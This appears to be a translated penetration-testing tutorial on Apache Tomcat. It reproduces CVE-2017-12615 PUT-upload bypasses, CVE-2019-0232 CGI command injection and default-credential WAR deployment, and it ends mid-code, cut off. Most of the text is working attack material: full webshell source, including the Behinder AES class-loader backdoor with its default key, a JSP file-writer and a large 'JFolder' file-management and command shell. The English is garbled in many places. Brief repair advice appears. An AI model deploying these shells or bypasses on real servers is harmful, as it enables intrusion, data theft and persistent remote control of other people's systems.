catalogue
Tomcat arbitrary file write (CVE-2017-12615)
Tomcat remote code execution (CVE-2019-0232)
Tomcat weak password & background getshell vulnerability
Tomcat manager App brute force cracking
Tomcat AJP file contains vulnerability analysis (CVE-2020-1938)
preface
Tomcat server is a free open source web application server. It is a lightweight application server. It is widely used in small and medium-sized systems and when there are not many concurrent access users. It is the first choice for developing and debugging JSP programs. It can be considered that when the Apache server is configured on a machine, it can be used to respond to the access requests of HTML pages. In fact, Tomcat is an extension of Apache server, but it runs independently at runtime, so when running tomcat, it actually runs separately as a process independent of Apache.
Current model: version 7 ~ 10
Default port: 8080
install
First, there should be a java environment
Note: Tomcat version has requirements for JAVA version and corresponding JSP and Servlet. For Tomcat version 8 and above, Java7 and later versions are required, so the corresponding JDK version is required to download the Tomcat version
Then install Tomcat and it will be ok by default
You can see that its 8080 port has been opened
Visit
Tomcat analysis
Main documents
1.server.xml: to configure tomcat Port number of startup host Host Context etc. 2.web.xml:Deployment description file, this web.xml Some default are described in servlet,Deploy each webapp This file will be called to configure the web Applied default servlet 3: tomcat-users.xml:tomcat User password and permissions.
Upload directory
Tomcat penetration
Tomcat arbitrary file write (CVE-2017-12615)
Scope of influence
Apache Tomcat7.0.0-7.0.81 (default configuration)
Reappearance
I use vulhub here
sudo service docker start cd vulhub/tomcat/CVE-2017-12615 sudo docker-compose build sudo docker-compose up -d
Go to the bottom to see the source code
sudo docker ps sudo docker exec -ti a3 bash cat conf/web.xml |grep readonly
Vulnerability principle
It is caused by improper configuration (non default configuration), and the configuration file conf / Web readonly in XML is set to false, so that any file can be uploaded using PUT method, but the jsp suffix is limited. However, there are many bypass methods for different platforms
Start recurrence
Packet capture and bit change PUT upload mode
Go and upload the directory
/usr/local/tomcat/webapps/ROOT
Successfully uploaded
Bypass and upload jsp successfully
1.Windows Files ending in spaces are not allowed under with PUT /a001.jsp%20 HTTP/1.1 Upload to Windows The trailing space will be automatically removed 2.WindowsNTFS flow Put/a001.jsp::$DATA HTTP/1.1 3. /It is illegal in the file name and will be removed( Linux/Windows) Put/a001.jsp/http:/1.1
You can see the upload A001 JSP is successfully bypassed
I won't demonstrate the other two
Everything is OK
Upload the horse, here I use the ice scorpion to connect
Note: you cannot open an agent
Look at the jsp horse under the ice scorpion server directory
jsp horse of ice scorpion
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/
Note that / should be used to bypass and upload jsp
You can also see that it was uploaded successfully
Connect with an ice scorpion
The latest version is reproduced
Here, paste the code of this vulnerability into the latest version
If it is not added, PUT upload txt is not allowed
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
Save exit to restart Tomcat
It can be written successfully
Write PUT to txt and find that it is OK
But I've tried all three methods to bypass and upload jsp, but I can't
repair
Change readonly to true
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
Tomcat remote code execution (CVE-2019-0232)
Scope of influence
Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93
Here, use Windows 8.5.39 for reproduction
install
Also install java first
Then install Tomcat
Visit
Vulnerability principle
The vulnerability related code is in Tomcat \ Java \ ORG \ Apache \ Catalina \ servlets \ cgiservlet In Java, CGISerlvet provides a cgi calling interface. When the enablecdlinearguments parameter is enabled, the command line parameters will be generated from the Url parameters according to RFC 3875, and the parameters will be passed to the Java Runtime for execution.
This vulnerability is due to runtime getRuntime(). The implementation of exec in Windows is different from that in Linux
Java runtime getRuntime(). Exec is difficult to have command injection in the case of CGI call.
In Windows, the creation process uses CreateProcess. The parameters are combined into strings and passed into CreateProcess as lpComandLine. After the program starts, call GetcommandLine to get the parameters and call CommandLineToArgw to argv.
In Windows, when the parameter in CreateProcess is a bat file or a cmd file, cmd. Is called Exe, so it will eventually become cmd Exe / C "a001.bat dir", and the calling process of Java does not do any escape, so there will be a vulnerability under Windows.
In addition, Windows has another feature in processing parameters. If only simple escape is added here, it may be bypassed
For example, dir "\" & whoamI "is secure in Linux, while commands are executed in Windows.
This is because Windows will copy the contents in the command line to the next parameter until the command line is finished or meet the next one, but the processing is incorrect. So when calling batch or cmd files in Java, it is necessary to make proper parameter checking to avoid loopholes.
Vulnerability analysis
Tomcat's CGI_ The servlet component is turned off by default, and is displayed in conf / Web Find the CGIServlet part of the comment in XML, remove the comment, and configure enableCmdLineArguments and executable
This is the configuration
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi</param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet>
The main settings here are enablecdlinearguments and executable
1.enableCmdLineArguments Only when enabled will the Url Parameters in are passed to the command line 2.executable Specifies the binary file to execute. The default is perl,The file itself needs to be empty to execute.
Also in conf / Web Servlet mapping with cgi enabled in XML
Modify conf / context Add the privileged="true" attribute of XML, otherwise you will not have permission
<Context privileged="true">
Configuration catalog file
Create the CGI bin directory under C:\Tomcat\webapps\ROOT\WEB-INF
And create an A001. 0 file in this directory txt
The content is arbitrary
Remember to restart
Then we visit
http://192.168.175.193:8080/cgi-bin/a001.bat?&dir
You can see the successful execution of any code!
Repair method
The developer added the cmdLineArgumentsDecoded parameter in the patch. This parameter is used to verify the incoming command line parameters. If the incoming command line parameters do not conform to the specified mode, they will not be executed.
The verification is written in the setupFromRequest function
String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding); if (cmdLineArgumentsDecodedPattern != null && !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) { if (log.isDebugEnabled()) { log.debug(sm.getString("cgiServlet.invalidArgumentDecoded", decodedArgument, cmdLineArgumentsDecodedPattern.toString())); } return false; }
If it fails, the valid parameter of cgienenvironment will be set to false, and the execution will be directly skipped in subsequent processing functions
if (cgiEnv.isValid()) { CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(), cgiEnv.getEnvironment(), cgiEnv.getWorkingDirectory(), cgiEnv.getParameters()); if ("POST".equals(req.getMethod())) { cgi.setInput(req.getInputStream()); } cgi.setResponse(res); cgi.run(); } else { res.sendError(404); }
Repair suggestions
1.Using a newer version of Apache Tomcat. It should be noted here that although in 9.0.18 It fixed this vulnerability, but this update did not pass the vote of the candidate version, so although 9.0.18 Not in the affected list, users still need to download 9.0.19 To get a version without the vulnerability 2.close enableCmdLineArguments parameter
Tomcat weak password & background getshell vulnerability
Scope of influence
Tomcat8
Here, we still use vulhub for reproduction
cd vulhub-master/tomcat/tomcat8 sudo docker-compose up -d
The previous container should be closed
Go to the bottom layer of docker to see its source code
sudo docker ps sudo docker exec -ti a bash cd conf
Copy these three files
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xml /home/dayu/Desktop/ sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/ sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/
Source code
<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
manager (background management)
manager-gui have htmL Page permissions manager-status Own view status Permissions for manager-script have text The permissions of the interface, and status jurisdiction manager-jmx have jmx Permissions, and status jurisdiction
Host Manager
admin-gui have html Page permissions admin-script have text Interface permissions
Visit
Visit its background management address
/manager/html
Or click here
Its login window can be directly exploded without verification code
default
Users: Tomcat Passwd: Tomcat
Log in and view it
Why do I need to upload the wa package? Why not tar zip??
War package is used for all code under a website project during Web development, including foreground HTML/CSS/JS code and background java Web code. When the developer completes the development, the source code will be packaged to the tester for testing. If it is to be released after the test, it will also be packaged into a war package for release. The war package can be placed in the webapps or word directory under Tomcat. When the Tomcat server starts, the war package will decompress the source code for automatic deployment.
Upload JSP
<%@page contentType="text/html;charset=gb2312"%> <%@page import="java.io.*,java.util.*,java.net.*"%> <html> <head> <title></title> <style type="text/css"> body { color:red; font-size:12px; background-color:white; } </style> </head> <body> <% if(request.getParameter("context")!=null) { String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312"); String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"); OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes()); out.println("<a href='"+request.getScheme()+"://"+ request. Getservername() +": "+ request. Getserverport() + request. Getrequesturi() +" > < font color ='Red 'title =' click to go to the uploaded file page! > Upload succeeded</ font></a>"); } catch (FileNotFoundException ex2) { out.println("<font color='red'>Upload failed!</font>"); } catch (IOException ex) { out.println("<font color='red'>Upload failed!</font>"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("<font color='red'>Upload failed!</font>"); } } } %> <form name="frmUpload" method="post" action=""> <font color="blue">Path to this document:</font><%out.print(request.getRealPath(request.getServletPath())); %> <br> <br> <font color="blue">Upload file path:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"> <br> <br> Upload file content:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea> <br> <br> <input type="submit" name="btnSubmit" value="Upload"> </form> </body> </html>
zip compression, and then change the suffix to war package
Or use the Java command:
jar -cvf dayu.war dayu.jsp
/ 2 here is the name of the war package
Go to the bottom layer of docker to see if the upload is successful
It will deploy automatically. Let's visit it
Successfully parsed jsp, and can upload!
Upload the jsp horse of ice scorpion here
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/
After upload, connect with the ice scorpion
I'm posting an awesome JSP
<% /** JFolder V0.9 windows platform @Filename: JFolder.jsp @Description: A simple system file directory display program, similar to resource manager, provides basic file operations, but the function is weak. @Bugs : When downloading, the Chinese file name cannot be displayed normally */ %> <%@ page contentType="text/html;charset=gb2312"%> <%@page import="java.io.*,java.util.*,java.net.*" %> <%! private final static int languageNo=0; //Language version, 0: Chinese; 1: English String strThisFile="JFolder.jsp"; String[] authorInfo={" <font color=red> Years Alliance-Special Edition </font>"," <font color=red> Thanks for your support - - by Steven Cee http:// </font>"}; String[] strFileManage = {"Document management","File Management"}; String[] strCommand = {"CMD Command","Command Window"}; String[] strSysProperty = {"System properties","System Property"}; String[] strHelp = {"help","Help"}; String[] strParentFolder = {"Parent directory","Parent Folder"}; String[] strCurrentFolder= {"current directory","Current Folder"}; String[] strDrivers = {"Driver","Drivers"}; String[] strFileName = {"File name","File Name"}; String[] strFileSize = {"file size","File Size"}; String[] strLastModified = {"Final modification","Last Modified"}; String[] strFileOperation= {"File operation","Operations"}; String[] strFileEdit = {"modify","Edit"}; String[] strFileDown = {"download","Download"}; String[] strFileCopy = {"copy","Move"}; String[] strFileDel = {"delete","Delete"}; String[] strExecute = {"implement","Execute"}; String[] strBack = {"return","Back"}; String[] strFileSave = {"preservation","Save"}; public class FileHandler { private String strAction=""; private String strFile=""; void FileHandler(String action,String f) { } } public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } // A Class with methods used to process a ServletInputStream public class HttpMultiPartParser { private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( "\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException( "Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } /** * Compares boundary string to byte array */ private boolean compareBoundary(String boundary, byte ba[]) { byte b; if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } /** Convenience method to read HTTP header lines */ private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException( "dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } //End of class HttpMultiPartParser String formatPath(String p) { StringBuffer sb=new StringBuffer(); for (int i = 0; i < p.length(); i++) { if(p.charAt(i)=='\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } /** * Converts some important chars (int) to the corresponding html string */ static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } /** * Converts a normal string to a html conform string */ static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() /** Windows Get all available logical disks on the system */ { StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); File roots[]=File.listRoots(); for(int i=0;i<roots.length;i++) { sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">"); sb.append(roots[i]+"</a> "); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M displays 5.9M String strUnit="Bytes"; String strAfterComma=""; int intDivisor=1; if(filesize>=1024*1024) { strUnit = "MB"; intDivisor=1024*1024; } else if(filesize>=1024) { strUnit = "KB"; intDivisor=1024; } if(intDivisor==1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; if(strAfterComma=="") strAfterComma=".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } %> <% request.setCharacterEncoding("gb2312"); String tabID = request.getParameter("tabID"); String strDir = request.getParameter("path"); String strAction = request.getParameter("action"); String strFile = request.getParameter("file"); String strPath = strDir + "\\" + strFile; String strCmd = request.getParameter("cmd"); StringBuffer sbEdit=new StringBuffer(""); StringBuffer sbDown=new StringBuffer(""); StringBuffer sbCopy=new StringBuffer(""); StringBuffer sbSaveCopy=new StringBuffer(""); StringBuffer sbNewFile=new StringBuffer(""); if((tabID==null) || tabID.equals("")) { tabID = "1"; } if(strDir==null||strDir.length()<1) { strDir = request.getRealPath("/"); } if(strAction!=null && strAction.equals("down")) { File f=new File(strPath); if(f.length()==0) { sbDown.append("The file size is 0 bytes, so you don't have to"); } else { response.setHeader("content-type","text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); out.clearBuffer(); int i; while ((i=fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); } } if(strAction!=null && strAction.equals("del")) { File f=new File(strPath); f.delete(); } if(strAction!=null && strAction.equals("edit")) { File f=new File(strPath); BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n"); sbEdit.append("<input type=hidden name=action value=save >\r\n"); sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> "); sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n"); sbEdit.append("<br><textarea rows=30 cols=90 name=content>"); String line=""; while((line=br.readLine())!=null) { sbEdit.append(htmlEncode(line)+"\r\n"); } sbEdit.append("</textarea>"); sbEdit.append("<input type=hidden name=path value="+strDir+">"); sbEdit.append("</form>"); } if(strAction!=null && strAction.equals("save")) { File f=new File(strPath); BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); String strContent=request.getParameter("content"); bw.write(strContent); bw.close(); } if(strAction!=null && strAction.equals("copy")) { File f=new File(strPath); sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n"); sbCopy.append("<input type=hidden name=action value=savecopy >\r\n"); sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbCopy.append("Original file: "+strPath+"<p>"); sbCopy.append("Target file: <input type=text name=file2 size=40 value='"+strDir+"'><p>"); sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> "); sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n"); sbCopy.append("</form>"); } if(strAction!=null && strAction.equals("savecopy")) { File f=new File(strPath); String strDesFile=request.getParameter("file2"); if(strDesFile==null || strDesFile.equals("")) { sbSaveCopy.append("<p><font color=red>Destination file error.</font>"); } else { File f_des=new File(strDesFile); if(f_des.isFile()) { sbSaveCopy.append("<p><font color=red>The destination file already exists,Cannot copy.</font>"); } else { String strTmpFile=strDesFile; if(f_des.isDirectory()) { if(!strDesFile.endsWith("\\")) { strDesFile=strDesFile+"\\"; } strTmpFile=strDesFile+"cqq_"+strFile; } File f_des_copy=new File(strTmpFile); FileInputStream in1=new FileInputStream(f); FileOutputStream out1=new FileOutputStream(f_des_copy); byte[] buffer=new byte[1024]; int c; while((c=in1.read(buffer))!=-1) { out1.write(buffer,0,c); } in1.close(); out1.close(); sbSaveCopy.append("Original file:"+strPath+"<p>"); sbSaveCopy.append("Target file:"+strTmpFile+"<p>"); sbSaveCopy.append("<font color=red>Copy succeeded!</font>"); } } sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=return>"); } if(strAction!=null && strAction.equals("newFile")) { String strF=request.getParameter("fileName"); String strType1=request.getParameter("btnNewFile"); String strType2=request.getParameter("btnNewDir"); String strType=""; if(strType1==null) { strType="Dir"; } else if(strType2==null) { strType="File"; } if(!strType.equals("") && !(strF==null || strF.equals(""))) { File f_new=new File(strF); if(strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF+" File creation failed"); if(strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF+" Directory creation failed"); } else { sbNewFile.append("<p><font color=red>Error creating file or directory.</font>"); } } if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { String tempdir="."; boolean error=false; response.setContentType("text/html"); sbNewFile.append("<p><font color=red>Error creating file or directory.</font>"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if(path!=null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request.setAttribute("error", "Cannot upload file."); error = true; f1.delete(); } } } } %> <html> <head> <style type="text/css"> td,select,input,body{font-size:9pt;} A { TEXT-DECORATION: none } #tablist{ padding: 5px 0; margin-left: 0; margin-bottom: 0; margin-top: 0.1em; font:9pt; } #tablist li{ list-style: none; display: inline; margin: 0; } #tablist li a{ padding: 3px 0.5em; margin-left: 3px; border: 1px solid ; background: F6F6F6; } #tablist li a:link, #tablist li a:visited{ color: navy; } #tablist li a.current{ background: #EAEAFF; } #tabcontentcontainer{ width: 100%; padding: 5px; border: 1px solid black; } .tabcontent{ display:none; } </style> <script type="text/javascript"> var initialtab=[<%=tabID%>, "menu<%=tabID%>"] Stop editting function cascadedstyle(el, cssproperty, csspropertyNS){ if (el.currentStyle) return el.currentStyle[cssproperty] else if (window.getComputedStyle){ var elstyle=window.getComputedStyle(el, "") return elstyle.getPropertyValue(csspropertyNS) } } var previoustab="" function expandcontent(cid, aobject){ if (document.getElementById){ highlighttab(aobject) if (previoustab!="") document.getElementById(previoustab).style.display="none" document.getElementById(cid).style.display="block" previoustab=cid if (aobject.blur) aobject.blur() return false } else return true } function highlighttab(aobject){ if (typeof tabobjlinks=="undefined") collecttablinks() for (i=0; i<tabobjlinks.length; i++) tabobjlinks[i].style.backgroundColor=initTabcolor var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor } function collecttablinks(){ var tabobj=document.getElementById("tablist") tabobjlinks=tabobj.getElementsByTagName("A") } function do_onload(){ collecttablinks() initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color") initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color") expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1]) } if (window.addEventListener) window.addEventListener("load", do_onload, false) else if (window.attachEvent) window.attachEvent("onload", do_onload) else if (document.getElementById) window.onload=do_onload </script> <script language="javascript"> function doForm(action,path,file,cmd,tab,content) { document.frmCqq.action.value=action; document.frmCqq.path.value=path; document.frmCqq.file.value=file; document.frmCqq.cmd.value=cmd; document.frmCqq.tabID.value=tab; document.frmCqq.content.value=content; if(action=="del") { if(confirm("Are you sure you want to delete the file "+file+" Are you?")) document.frmCqq.submit(); } else { document.frmCqq.submit(); } } </script> <title>JSP Shell Years alliance dedicated version</title> <head> <body> <form name="frmCqq" method="post" action=""> <input type="hidden" name="action" value=""> <input type="hidden" name="path" value=""> <input type="hidden" name="file" value=""> <input type="hidden" name="cmd" value=""> <input type="hidden" name="tabID" value="2"> <input type="hidden" name="content" value=""> </form> <!--Top Menu Started--> <ul id="tablist"> <li><a href="" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li> <li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li> <li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li> <li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li> <%=authorInfo[languageNo]%> </ul> <!--Top Menu End--> <% StringBuffer sbFolder=new StringBuffer(""); StringBuffer sbFile=new StringBuffer(""); try { File objFile = new File(strDir); File list[] = objFile.listFiles(); if(objFile.getAbsolutePath().length()>3) { sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n "); } for(int i=0;i<list.length;i++) { if(list[i].isDirectory()) { sbFolder.append("<tr><td > </td><td>"); sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(list[i].getName()+"</a><br></td></tr> "); } else { String strLen=""; String strDT=""; long lFile=0; lFile=list[i].length(); strLen = convertFileSize(lFile); Date dt=new Date(list[i].lastModified()); strDT=dt.toLocaleString(); sbFile.append("<tr 